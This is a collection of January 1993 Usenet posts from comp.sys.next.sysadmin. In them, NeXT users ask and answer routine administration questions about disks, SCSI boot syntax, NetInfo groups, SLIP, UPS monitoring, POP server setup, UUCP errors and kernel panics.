Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin From: kurrer@lisboa.ks.uiuc.edu (Christian Kurrer) Subject: noise reduction: spinning down the hard disk Message-ID: <C0r38w.Mz4@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana Date: Tue, 12 Jan 1993 17:00:30 GMT Does anybody know whether it is possible to shut down a hard disk on a Next in a manner similar to the `power saving' mode on portables/notebook computers? While I am not too much worried about the power consumed by the spinning hard disk, I am rather annoyed by the noise it produces. I had the opportunity to work with a notebook computer over the christmas break; everytime I did not access the hard disk for more than 3 minutes, the hard disk stopped spinning; while this might have caused some delay (less than a second) the next time I accessed the hard disk, it allowed me to work long stretches of time without being disturbed by unnecessary noise. Is there some technical reason why something like that would not work under Unix? Does shutting down the hard disk require some hardware features which desktop machines might not have? Am I the only one being annoyed by noisy desktop machines? Why hasn't the industry acted, and why is this spinning down of hard disks not yet a standart feature of desktop machines? Christian Kurrer kurrer@lisboa.ks.uiuc.edu
Newsgroups: comp.sys.next.sysadmin From: Gregory W. Gee <gee@gaul.csd.uwo.ca> Subject: talk not working Organization: Relayed-by-Sendmail Date: Tue, 12 Jan 1993 18:34:17 GMT Message-ID: <9301121834.AA02365@gaul.csd.uwo.ca> To: comp.sys.next.sysadmin@newshost.uwo.ca Sender: daemon@julian.uwo.ca (Julian System Daemon Account) This seems unrelated to this news group but it might be relevent. I am having a problem using talk on my slab. It is not on a network, I have it at home. I was going to have a partner in a group project call in thriugh my modem and login under a demo account i made but when I tried to use talk, it gave me an error of - can't figure out network address. So I edited the local configuation and put in a fake address and it still doesn't work. Any help to fix this problem would be greatly appreciated. Please respond by mail if convenient. **************************************************************************** Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted Honours Computer Science, University of Western Ontario >>> Developing in the NeXT generation <<< ****************************************************************************
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: Help! Installing 3.0 on external HD Date: 12 Jan 1993 19:04:31 GMT Organization: The University of Maryland, College Park Message-ID: <1iv4nvINN92g@ni.umd.edu> References: <ntomczak.726619722@vega> <1993Jan10.170814.9221@znext.cts.com> <17898@umd5.umd.edu> In article <17898@umd5.umd.edu> matthews@oberon.umd.edu (Mike Matthews) writes: >In article <1993Jan10.170814.9221@znext.cts.com> zeke@znext.cts.com writes: >> so the syntax should be >> 'b sd(0,2,0)' to boot off of sd2 partition a. The NeXT only has one >>controller ( unless you have an extra cpu card a la Spherical ) an that one >>defaults to 0. The syntax provided would probably confuse the system, and the > >Um, no. The first number is the SCSI ID, the second is the LUN (which lots >of people theorize will always be 0 on the NeXTs because they only have one >SCSI channel; makes sense to me but I can't confirm or deny it personally), >and the last is the partition number. Um, close. :-) The first number is the SCSI controller target number (usually referred to as the "SCSI ID"), the second is the logical unit number and the third the partitition number of the disk. The LUN has nothing to do with the NeXT; it is used when the addressed SCSI controller on the SCSI bus has more than one unit attached to it. In days past, when disks didn't have embedded SCSI controllers, you'd have a seperate SCSI controller on the bus which could have one or more {ESDI, SMD, ST-506} drives attached to it. The LUN (Logical Unit Number) could be used to select amongst the units/disk attached to the controller. Louis Mamakos
From: vqueved@nextlab.calstatela.edu (Operator) Newsgroups: comp.sys.next.sysadmin Subject: Group Trouble Keywords: NI Group Trouble Message-ID: <1993Jan12.105106.3771@nic.csu.net> Date: 12 Jan 93 18:51:05 GMT Has anyone experienced trouble using NetInfo and Multiple Groups? I have a situation that I have defined 20 groups within an single directory. The groups are defined with the root netinfo. The groups are: engl1:*:301:jjones,user1 engl2:*:302:jjones,user2 engl3:*:303:jjones,user3 engl4:*:304:jjones,user4 engl5:*:305:jjones,user5 engl6:*:306:jjones,user6 engl7:*:307:jjones,user7 engl8:*:308:jjones,user8 engl9:*:309:jjones,user9 engl10:*:310:jjones,user10 engl11:*:311:jjones,user11 engl12:*:312:jjones,user12 engl13:*:313:jjones,user13 engl14:*:314:jjones,user14 engl15:*:315:jjones,user15 engl:*:300:user1,user2,user3,user4,user5,user6,user7,user8,user9,user10,.. .user20 engl16:*:316:jjones,user16 engl17:*:317:jjones,user17 engl18:*:318:jjones,user18 engl19:*:319:jjones,user19 engl20:*:320:jjones,user20 I defined the group using niload. Originally I setup about 15 of the groups. I then added the additional 5 users. The original groups were recognized (I could use the groups to add read/write permisson to jjones). After, I added additional groups. I have had problems trying to access the additional groups (i.e., engl16...engl20) without any success. Is there any limitation to the number of groups you can define? Is there a limit of characters that you can name groups? I have had this problem before. I had to rebuild the network copy of the NetInfo and started to rebuild it from scratch. Any information would be helpfull. Thanks -Victor Quevedo
Newsgroups: comp.sys.next.sysadmin From: yann@dagobah.fdn.org (Yann Lechelle) Subject: Re: Console -PowerOffDisabled option wont stay in effect (OS 3.0) Message-ID: <1993Jan12.101108.430@dagobah.fdn.org> Sender: yann@dagobah.fdn.org Organization: Individual References: <7274@ucsbcsl.ucsb.edu> Date: Tue, 12 Jan 1993 10:11:08 GMT to answer Douglas Scott: have you tried the default database instead of the ttys file ? It works for me, at least. --- / ================================================= \ \ Yann Lechelle (Paris, FRANCE) / / yann@dagobah.fdn.org Email/NeXTmail \ \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / / "grep me no patterns and I'll tell you no lines." \ \ ================================================= / -- / ================================================= \ \ Yann Lechelle (Paris, FRANCE) / / yann@dagobah.fdn.org Email/NeXTmail \ \ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ /
Newsgroups: comp.sys.next.sysadmin From: vasco@bvl.pt (antonio vasconcelos) Subject: NeXT fsck Message-ID: <1993Jan12.121646.3923@bvl.pt> Organization: Bolsa de Valores de Lisboa Date: Tue, 12 Jan 1993 12:16:46 GMT How do I do a fsck in a NeXT station Turbo running NS 2.2 ? fsck is there, all right, but how do I unmount the root filesystem ?? -- regards, |/asco (^ ^)
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: SLIP config files HELP Date: 12 Jan 1993 15:35:41 -0500 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Sender: rdelucca@rosemary.uucp.jhu.edu Message-ID: <1iva2tINNeqk@jhunix.hcf.jhu.edu> Keywords: SLIP Supra Hello, I'm getting started configuring SLIP on this NS Turbo (the server relay is also an NS Turbo). We're both using Supra modems, V.32 and .32bis respectively. If any kind soul can help out with suggestions/tips for the tcldiald TCL script and the login-annex.tcl file I'd appreciate it. Any other tips welcome. Thanks BTW the SLIP version is Louie Mamakos' available at sonata in submissions directory de Lucca Johns Hopkins Univ Nextmail rdelucca@rosemary.uucp.jhu.edu
From: t68@nikhefh.nikhef.nl (Jos Vermaseren) Newsgroups: comp.sys.next.sysadmin Subject: security Message-ID: <2179@nikhefh.nikhef.nl> Date: 12 Jan 93 14:57:58 GMT Organization: Nikhef-H, Amsterdam (the Netherlands). I am trying to get some NeXTs introduced into our networks. The system administrator is very much into security, so he would like to know how secure the NeXT is. Can anybody comment on its security and how it compares to other workstations (like SUN, HP, Apollo, SGI, DEC)? (I never see anything about it on usenet, so I guess it cannot be too bad) Thanks Jos Vermaseren
Newsgroups: comp.unix.admin,comp.sys.next.sysadmin From: snelson@ptdca2.intel.com (Shannon Nelson) Subject: Re: monitoring a UPS from a serial port Message-ID: <C0rDvn.zt@hfglobe.intel.com> Sender: news@hfglobe.intel.com (News User) Organization: Portland Technology Development, Intel Corp., Aloha, OR References: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> Date: Tue, 12 Jan 1993 20:50:10 GMT In article <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> dmm0t@rincewind.mech.virginia.edu (David Meyer) writes: > >I'm planning on buying an APC Backup-UPS 600 to use with my NeXT >computer, and I could use some advice on setting it up so that my >machine will shut down cleanly if the UPS battery runs low. The UPS >I'm looking at has a output port which can signal that the battery is >running low, but I'm not sure what kind of wiring I'd need to do in >order to use it. > [...] >David M. Meyer Mechanical & Aerospace Engineering >dmm0t@rincewind.mech.virginia.edu University of Virginia >NeXTmail ok I would suggest that you go back to your APC dealer and ask about APC's monitoring software Powerchute and Powerchute/plus. I don't know if the software will run on a NeXT, but it's worth a shot. If nothing else, at least call APC directly to try to work a deal for your NeXT. I've got a pair of APC-2000 UPSs with the Powerchute/plus software for monitoring. Each UPS is monitored by a file server, and the fileservers know which other computers are on which UPS. The Powerchute UPS daemon fires off simple shell scripts on significant events such as linepower lost or battery low. I've mod'd these scripts to use 'rsh' to run similar notifications on the other computers, including a shutdown script when needed. With the Powerchute software, it was easy to set up and works like a charm! Yes, this is a testimonial, and no, I don't have any interest in APC other than as a satisfied customer. -- ============================================================================== Shannon Nelson Portland Technology Development, Intel Corp. snelson@ptd.intel.com (503) 642-8149 I don't speak for Intel Parents can't afford to be squeemish.
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Using log file for NeXT Printer Message-ID: <7340@ucsbcsl.ucsb.edu> Date: 12 Jan 93 22:25:28 GMT Article-I.D.: ucsbcsl.7340 Sender: root@ucsbcsl.ucsb.edu Followup-To: comp.sys.next.misc Organization: Center for Computer Music Research and Composition, UCSB Having once again exhausted the online documentation, I post to ask: Is it possible to set up a NeXT Printer to keep a log of all printing jobs? Thank you. -- Douglas Scott (805)893-8352 Center for Computer Music Research and Composition University of California, Santa Barbara Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
From: f_cnnghamjk@ccsvax.sfasu.edu Newsgroups: comp.sys.next.sysadmin Subject: a way to warn the console user Message-ID: <1993Jan12.205007.2405@ccsvax.sfasu.edu> Date: 12 Jan 93 20:50:07 CST Organization: Stephen F. Austin State University Can someone suggest a way to warn the console user that I'm about to reboot the machine? Write, talk or shutdown are great ONLY IF s/he has Terminal running. I've tried using Alert from ShellPanels, but I'm told... DPS client library error: Could not form connection, host local host Thanks. Randomly, Kelly Cunningham <deviate@lipschitz.sfasu.edu><f_cnnghamjk@ccsvax.sfasu.edu><jkellyc@tenet.edu> NeXTMail (favored) MIME (ok) VMS Mail (tolerated) MIME (ok) "There is no reason for any individual to have a computer in their home." -- Ken Olson, President and visionary, Digital Equipment, 1977 "NeXTSTEP is probably the most respected piece of software on the planet." -- October 1992 Byte Magazine
Newsgroups: comp.sys.next.sysadmin From: windsor@symcom.math.uiuc.edu (Eric W. Blankenburg) Subject: >>> HELP PLEASE <<< NS 1.0 -> NS 3.0...very tough!!! Message-ID: <C0rwIK.C70@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: Math Dept., University of Illinois at Urbana/Champaign Distribution: usa Date: Wed, 13 Jan 1993 03:32:44 GMT I am currently trying to upgrade my Next Cube from NextStep 1.0 directly to NextStep 3.0. I don't have a floppy. I do have a CD-ROM Drive. I also have a OD, but it may be useless under 3.0. I also have a 33 Mhz 040 board that I want to install. I have the NextStep 3.0 Distribution CD. Here's the first question. Is there a CD-ROM Driver that runs under 1.0? If so, where do I get it? Will NextStep 3.0 boot on an 030 motherboard? Is it essential that I have a 2.88 Floppy drive to install 3.0? If a CD-ROM Driver exists for 1.0, can I boot 3.0 from the CD-ROM drive and upgrade my system? If I have missed any salient points about upgrading from 1.0 to 3.0, please realize that I only wanted to post a short note. If you know how to upgrade from 1.0 to 3.0, please send me email at windsor@symcom.math.uiuc.edu. Thanks in advance windsor
Newsgroups: comp.sys.next.sysadmin From: jolly@cis.uni-muenchen.de (Patrick Stein) Subject: Re: a way to warn the console user Message-ID: <1993Jan13.150959.19360@news.lrz-muenchen.de> Sender: news@news.lrz-muenchen.de (Mr. News) Organization: Leibniz-Rechenzentrum, Muenchen (Germany) References: <1993Jan12.205007.2405@ccsvax.sfasu.edu> Date: Wed, 13 Jan 1993 15:09:59 GMT In article <1993Jan12.205007.2405@ccsvax.sfasu.edu> f_cnnghamjk@ccsvax.sfasu.edu writes: > Can someone suggest a way to warn the console user that I'm about to reboot > the machine? Write, talk or shutdown are great ONLY IF s/he has Terminal > running. Write a program and start it from the /usr/lib/NextPrinter/lpd.children then u can open windows to warn the user. i wrote such a prg. and it works fine. jolly post scriptum : for more information mail direct -- ======================================================= Jolly alias Patrick Stein = jolly@cis.uni-muenchen.de Centrum fuer Informations und Sprachverarbeitung der Ludwig Maximilians Universitaet Muenchen Tel: ++49 (0) 89 - 36 40 72 (priv) (0)89 -950 57 34 "Every day u don t smile is a wasted day P) " C.Chaplin =======================================================
From: hickman@cse.unl.edu (Hubert B. Hickman) Newsgroups: comp.sys.next.sysadmin Subject: Re: diskeject problem Date: 13 Jan 1993 06:09:23 GMT Organization: University of Nebraska--Lincoln Distribution: world Message-ID: <1j0bmjINNeud@crcnis1.unl.edu> References: <1ii580INNq5f@nigel.ee.udel.edu> greimann@pecan.cns.udel.edu (J. Brandon Greimann) writes: >There seems to be a bug in 3.0/on my machine that messes up the dialog >box that comes up when ejecting a disk that is being used by an app. >The box pops up for a split second then goes away, leaving people >not realizing why their floppy disks won't eject, and it screws up how >SyQuest's are mounted. I was wondering if this is a common problem and if >there's a cure for it? > Thanks, > Brandon > >-- >............................................................................... >To reach me through e-mail: greimann@freezer.cns.udel.edu >Phone: (302) 368-4862 You might try DiskEjectFix available from next.com. I don't recall the directory that it resides in. Hubert Hickman hickman@cse.unl.edu
Newsgroups: comp.sys.next.sysadmin From: vac249f@monu6.cc.monash.edu.au (Robert D. Nicholson) Subject: Problem with Zyxel 1496E and SLIP Message-ID: <1993Jan13.120451.1645@monu6.cc.monash.edu.au> Summary: Problem with Zyxel 1496E and SLIP Organization: Monash University, Caulfield Campus Date: Wed, 13 Jan 1993 12:04:51 GMT To those of you using Zyxel 1496E's with Louies slip HELP!!! When I use the standard zyxtel tcl script with &N0 set I do not for some reason connect at V32Bis like it should do. It connects at V32 ok no problem . So I tried enabling &N1 to force it to but this has a problem in that it cannot get past the login prompt of my slip host. Is this problem parity related???????? I have ROM revision V 5.04a M (ATI reports this) Any ideas folks??????
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Newsgroups: comp.sys.next.sysadmin Subject: UPS for NeXT Message-ID: <C0sLry.Ho0@newcastle.ac.uk> Date: 13 Jan 93 12:38:21 GMT Organization: University of Durham I have the following setup and would like a UPS, but don't know really what to ask for (I can't remember early physics in terms of asking for Amps and watts, etc..) NeXTstation NontuboColour Printer External 1.6Gb drive. I don't really care about the CDrom, scanner and modem being on the UPS, just the NeXT and the external drive. Any help appreciated! Scott -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE SUN Computers: "Nice chips, shame about her OS" "If a virtual tree falls in a virtual forest, does it make a virtual sound?"
From: eboltz@jhunix.hcf.jhu.edu (Eric Scott Boltz) Newsgroups: comp.sys.next.sysadmin Subject: PowerOn after Outage problelm Date: 13 Jan 1993 09:59:25 -0500 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Distribution: world Message-ID: <1j1aodINN1mu@jhunix.hcf.jhu.edu> Hi, I have a bit of a problem. I have a NSTC with an external hard disk. The external disk takes a while to spin up - longer than the NeXT will give it. If I let the NeXT boot without the disk spun up, I get time outs. So I wrote boot sectors to the external disk (/etc/disk) so that the system would have to boot with the external drive ready. The problem is when there's a power outage (three in the last week here). The NeXT just goes to single user mode assuming that something's broken. Is there a way to tell the NeXT to wait, say, one minute after power is restored to power back up? Any help is greatly appreciated, Eric
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: knelson@milli.cs.umn.edu (Kenneth Nelson) Subject: Re: Using tar with a SCSI DAT drive Message-ID: <C0stK5.Knq@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Minneapolis, CSci dept. References: <1993Jan10.090824.24470@cs.ucla.edu> Distribution: usa Date: Wed, 13 Jan 1993 15:26:27 GMT In article <1993Jan10.090824.24470@cs.ucla.edu> grw@oahu.cs.ucla.edu (George Wu) writes: > > I recently installed an Archive Python SCSI DAT drive on my system >(NeXTStation Mono running NS 2.1) for backup purposes. However, I >have been unable to use tar on the drive. I always get an 'I/O error' ^^^^^^^^^^^^^^^^^ Have you been able to get anything else to work (dump) ? >when I run tar and the associated SCSI error is as follows. > > I am having a similar problem. Tar/dump would work for a random amount of time and then crap out with the dreaded "I/O error". I put a call into Archive tech. support (they're most helpful) and found out I'm using an "unapproved" media. I was trying to use Maxell tapes and they don't work in an Archive Python (I thought 4mm tapes were 4mm tapes). Archive said the acceptable media are their tapes, Sony, and Fuji (I think). I'm waiting for my new tapes to arrive before trying again. Ken
From: neil@kynug.org Newsgroups: comp.sys.next.sysadmin Subject: Re: monitoring a UPS from a serial port Message-ID: <1993Jan13.154221.13028@kynug.org> Date: 13 Jan 93 15:42:21 GMT References: <C0rDvn.zt@hfglobe.intel.com> Sender: neil@kynug.org (Neil Greene) Organization: Kentucky NeXT User Group, Inc. In article <C0rDvn.zt@hfglobe.intel.com> snelson@ptdca2.intel.com (Shannon Nelson) writes: > In article <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> dmm0t@rincewind.mech.virginia.edu (David Meyer) writes: > > > >I'm planning on buying an APC Backup-UPS 600 to use with my NeXT > >computer, and I could use some advice on setting it up so that my > >machine will shut down cleanly if the UPS battery runs low. The UPS > >I'm looking at has a output port which can signal that the battery is > >running low, but I'm not sure what kind of wiring I'd need to do in > >order to use it. > > [...] > >David M. Meyer Mechanical & Aerospace Engineering > >dmm0t@rincewind.mech.virginia.edu University of Virginia > >NeXTmail ok > > I would suggest that you go back to your APC dealer and ask about APC's > monitoring software Powerchute and Powerchute/plus. I don't know if the > software will run on a NeXT, but it's worth a shot. If nothing else, at > least call APC directly to try to work a deal for your NeXT. > > I've got a pair of APC-2000 UPSs with the Powerchute/plus software for > monitoring. Each UPS is monitored by a file server, and the fileservers > know which other computers are on which UPS. The Powerchute UPS daemon > fires off simple shell scripts on significant events such as linepower > lost or battery low. I've mod'd these scripts to use 'rsh' to run similar > notifications on the other computers, including a shutdown script when > needed. With the Powerchute software, it was easy to set up and works > like a charm! > > Yes, this is a testimonial, and no, I don't have any interest in APC other > than as a satisfied customer. There is a vendor with a UPS and software for the NeXT to monitor the system and properly shut down during power outages, I will find the information and repost. -- Neil Greene President, Kentucky NeXT User Group, Inc. Email: neil@kynug.org [NeXTMail]
Newsgroups: comp.sys.next.sysadmin Subject: Re: HELP popper Message-ID: <1993Jan13.102159.9852@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Wed, 13 Jan 1993 10:21:59 GMT Sender: news@urz.unibas.ch (USENET News System) References: <1993Jan12.100501.2904@bvl.pt> Organization: Institut fuer Informatik In article <1993Jan12.100501.2904@bvl.pt> writes: > frank@ifi.unibas.ch (Robert Frank) writes: > : to the popper (inetd and services properly configured and niloaded), it just > : dies without any warning or error. Debuggin is enabled, but nothing shows up in > : the log files. > > What about /etc/syslog.conf ??? Have you add the propper lines ? > This is the line I added to mine, (under NS 2.2) > > local0.notice;local0.debug /usr/spool/mqueue/POPlog > > Have o tried: > > telnet localhost 110 > > The popper should show up and send a message to your terminal, you > can end the connection just typing 'quit' (no quotes) and ENTER. > > Like this... > *********************************************************** > ~> telnet localhost 110 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > +OK UCB Pop server (version 1.7b1) at jessica.bvl.pt starting. > quit > +OK Pop server at jessica.bvl.pt signing off. > Connection closed by foreign host. > ~> > *********************************************************** > > If the popper don't show up, try telnet to port 109, 109 is the pop2 > port, maybe your /etc/services is not correct. (Or maybe is something > with NS 3.0, in that case, forget everything I said... I don't know > nothing about it). > > : Any help would be greatly appreciated! Thank's in advance. > > I hope this helps... > > -- > regards, > ____ > |/asco > ---------------------------------------------------------------------- Thank's for the help. The culprit was a missing 'root' (well, Ultrix doesn't like it, so I didn't notice...) in the inetd.conf file. All'w well now! -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
From: slv0y@cc.usu.edu Newsgroups: comp.sys.next.sysadmin Subject: UUCP no longer working - HELP!!! Message-ID: <1993Jan13.124437.62679@cc.usu.edu> Date: 13 Jan 93 12:44:37 MDT Organization: Utah State University My NeXT went down while in the middle of UUCP'ing a file and now I can't get UUCP to work again. I am running 3.0. The following is the command that I am using, and the results of it: Command: uucp -C -m -x9 logan.test ati06!~/ Results: ** START ** ASSERT ERROR (uucp) pid: 325 (1/13-12:40) GETWD FAILED getwd: can't stat . (0) uucp failed. code -1 I can uupoll the site just fine. Something seems to be munged with the UUCP queue or somthing, and I don't have the slightest idea of what it might be. I would appreciate any help. Thank you. John Z. slv0y@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin From: ric-mommer@uiowa.edu Subject: SLIP Problems Sender: news@news.uiowa.edu (News) Message-ID: <1993Jan13.204331.15495@news.uiowa.edu> Date: Wed, 13 Jan 1993 20:43:31 GMT Organization: University of Iowa, Iowa City, IA, USA A question forwarded to me by a user at a nearby campus: For the past two months I have been using SLIP to tranfer over 50 MB of software to the Nexts. This weekend I tried to connect the mail system on the NeXT net to the campus net. I successfully tranfered mail from campus to the Nexts and one line mail messages from the NeXts to campus. Unfortunately, if I tried to send a 20 line mail message from the NeXTs to campus, the sendmail process would time out. It appears that the campus end of the SLIP was dropping packets. The apparent reason is that the MTU on the campus end of the SLIP connection was 1000 and the NeXT end had a MTU of 1000. According to what I have discovered, the MTU settings must be the same. Unfortunately, if I set both ends of the SLIP link to have an MTU of 1000, the problem did not clear. The problem did clear if I set the NeXT end top have a MTU of 999. Unfortunately, this setting has broken telnet. I am having discussions with HP/Aollo on this issue. Does anyone have any suggestions I could give this guy? Any help would be greatly appreciated. -Ric -- _ / \ Ric Mommer / \ NeXT Campus Consultant |\ /| University of Iowa | \_/ | ric-mommer@uiowa.edu \ | / \|/ NeXTmail preferred.
From: danno@css.itd.umich.edu (Daniel T. Pritts) Newsgroups: comp.sys.next,comp.sys.next.sysadmin Subject: Re: symbolic links to different local hard disk? Followup-To: comp.sys.next.sysadmin Date: 13 Jan 1993 21:15:29 GMT Organization: University of Michigan - ITD Consulting and Support Message-ID: <1j20phINNap7@stimpy.css.itd.umich.edu> References: <1993Jan9.021146.6886@pellns.alleg.edu> In article <1993Jan9.021146.6886@pellns.alleg.edu> sunthej@alleg.edu (Jake Blues) writes: > > Sorry for posting to comp.sys.next, but I wasn't sure what the proper > news-base for this question would be. probably comp.sys.next.sysadmin > Q- On the network we have several NFS servers and over two hundred > cubes/stations, each with a local hard-drive. Due to storage > considerations, there are certain applications that are kept on certain > local drives that are not kept on others (ie, mathematica is not kept on > every computer). Is it possible to create a symbolic link to a foriegn > host? Can anyone offer a different plausible solution? NXHost doesn't > seem to work properly. You could only do this if you exported (via NFS) the disks of the machines you wanted to act as the servers. Why not just put Mathematica on your NFS server? Oh, I suppose MMa's licensing scheme doesn't like that. Perhaps Wolfram has a NFS-Mountable version of MMa? Knowing them probably not but you never know. -- dan pritts consultant/system administrator dan.pritts@umich.edu um itd/css unix support group 313/998-6265
From: slv0y@cc.usu.edu Newsgroups: comp.sys.next.sysadmin Subject: Re: UUCP no longer working - HELP!!! Message-ID: <1993Jan13.142058.62684@cc.usu.edu> Date: 13 Jan 93 14:20:57 MDT References: <1993Jan13.124437.62679@cc.usu.edu> Organization: Utah State University In article <1993Jan13.124437.62679@cc.usu.edu>, slv0y@cc.usu.edu writes: > My NeXT went down while in the middle of UUCP'ing a file and now I can't get > UUCP to work again. I am running 3.0. The following is the command that I am > using, and the results of it: > > Command: > uucp -C -m -x9 logan.test ati06!~/ > > Results: > > ** START ** > ASSERT ERROR (uucp) pid: 325 (1/13-12:40) GETWD FAILED getwd: can't stat . > (0) > uucp failed. code -1 > > I can uupoll the site just fine. Something seems to be munged with the UUCP > queue or somthing, and I don't have the slightest idea of what it might be. I > would appreciate any help. Thank you. > > John Z. > slv0y@cc.usu.edu > Ok...I have discovered the answer to my own problem while pouring over man pages. The path and the file of somthing you are UUCP'ing must have read privs for OTHER. Mine didn't, so, it didn't work. ;-) Of course it didn't say that was the problem... Z.
Newsgroups: comp.sys.next.sysadmin Subject: Re: security Message-ID: <1993Jan14.101109.516@otago.ac.nz> From: athomson@otago.ac.nz (Alastair Thomson) Date: 14 Jan 93 10:11:08 +1300 References: <2179@nikhefh.nikhef.nl> Organization: University of Otago, Dunedin, New Zealand In article <2179@nikhefh.nikhef.nl>, t68@nikhefh.nikhef.nl (Jos Vermaseren) writes: > I am trying to get some NeXTs introduced into our networks. > The system administrator is very much into security, so he would > like to know how secure the NeXT is. Can anybody comment on its > security and how it compares to other workstations (like SUN, HP, > Apollo, SGI, DEC)? > (I never see anything about it on usenet, so I guess it cannot be > too bad) > > Thanks > Jos Vermaseren I have just integrated a NeXTstation turbo colour into a mixed network of Suns, DECstations, VAXes, Macs, and PCs. The security of the NeXT machines is as good as most other Unix systems. Not to orange book standards, but pretty good. It appears to be better than a DECstation for instance, in that you can put a password on ROM monitor commands, this prevents anyone but system administrator booting up single user, changing config etc. The only hole I have seen is that any user may change printer configuration, I think it does ot system wide, but I'm not sure. This is particularly true for AppleTalk printers. I administer our small group of NeXTs, while others administer 99% of the other Unix and VAX machines. They seemed *very* happy with the NeXT security. The one proviso is that *anyone* who really knows Unix and the NeXT can do some damage if they really tried. This is just as true of most other Unix based systems 8-) Regards, Alastair -- =============================================================================== | Alastair Thomson, | Phone +64-3-479-8347 University of Otago, | Fax +64-3-479-8529 Department of Computer Science, | e-mail athomson@otago.ac.nz P.O. Box 56 | Dunedin | New Zealand | "God loved the world so much, that he gave us His Son, to die in our place, so that we may have eternal life" John 3:16, paraphrase ===============================================================================
From: borchers@poogh.llnl.gov (Robert R. Borchers) Newsgroups: comp.sys.next.sysadmin Subject: Expanding zone non-kernel map entries Message-ID: <146023@lll-winken.LLNL.GOV> Date: 13 Jan 93 21:41:27 GMT Sender: usenet@lll-winken.LLNL.GOV I have started getting the message in the title on the console. Nothing appears to happen but the last three Sundays, the machine panicked and halted at 15:00 on Sunday. the console messages are below. anybody have any idea what is up. Bob Jan 8 19:01:43 poogh mach: Expanding zone non-kernel map entries Jan 9 11:34:38 poogh mach: Expanding zone non-kernel map entries Jan 10 15:00:00 poogh mach: panic: (Cpu 0) No more room in kernel map Jan 10 15:00:00 poogh mach: NeXT ROM Monitor 2.5 v66 Jan 10 15:00:00 poogh mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K Jan 10 15:00:00 poogh mach: Jan 10 15:00:00 poogh mach: Killing all processes rebooting Mach... Jan 10 15:00:00 poogh mach: Jan 10 15:00:00 poogh mach: NeXT ROM Monitor 2.5 v66 Jan 10 15:00:00 poogh mach: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K -- Robert R. Borchers L-414 Livermore, Ca 94551 borchers@llnl.gov NeXTmail Welcome
Newsgroups: comp.sys.next.sysadmin From: ph@pencom.com (Patrick Hester) Subject: SoundWorks problems - fsck, OD eject Message-ID: <1993Jan13.194511.13491@pencom.com> Sender: usenet@pencom.com (News system) Organization: Pencom Systems Incorporated Date: Wed, 13 Jan 1993 19:45:11 GMT I just picked up a copy of SoundWorks and a set of Digital Ears. My system is a 040/25 cube with 340mb/28mb/OD. When running SoundWorks I get: SoundWorks[144] Exception Handler not properly removed messages on the console. Lots of them. After working a while I shut down SoundWorks, the WorkSpace and the cube. I even close all files prior to leaving SW. But the next time I reboot the hard disk comes up dirty and requires fsck. Also, I record to hard disk and save/work on OD. Sometimes after this the machine refuses to eject my OD. At times I can cure this by logging out and the OD ejects. Other times I can't convince it to eject without either killing power or doing an 'eo' from the monitor. When this happens the OD requires repairs next time. Sound familiar? Any suggestions? -- Patrick Hester ph@pencom.com (212) 513-7777 NeXT Mail OK =8(\/\)
From: jkeenan@next.com (Joe Keenan) Newsgroups: comp.sys.next.sysadmin Subject: Re: Help! Installing 3.0 on external HD Message-ID: <6259@rosie.NeXT.COM> Date: 13 Jan 93 22:59:27 GMT References: <17898@umd5.umd.edu> Sender: news@NeXT.COM In article <17898@umd5.umd.edu> matthews@oberon.umd.edu (Mike Matthews) writes: > Um, no. The first number is the SCSI ID, the second is the LUN (which lots > of people theorize will always be 0 on the NeXTs because they only have one > SCSI channel; makes sense to me but I can't confirm or deny it personally), > and the last is the partition number. One clarification - the second number is the LUN, but that has nothing to do with the SCSI channel (controller). The SCSI spec allows for multiple devices at one SCSI address, if the device can handle it. I've seen Syquest (or was it Bernoulli?) units with one SCSI address and two drives in it. If the SCSI address was something like 2 (the internal disk being set to 1), then the first partition of the first drive would be sd(1,0,0) and the first partition of the second drive would be sd(1,1,0). Remember that the system always collapses the SCSI unit numbers down, starting at sd0 for the first SCSI address used (normally 1), sd1 for the second, etc. joe
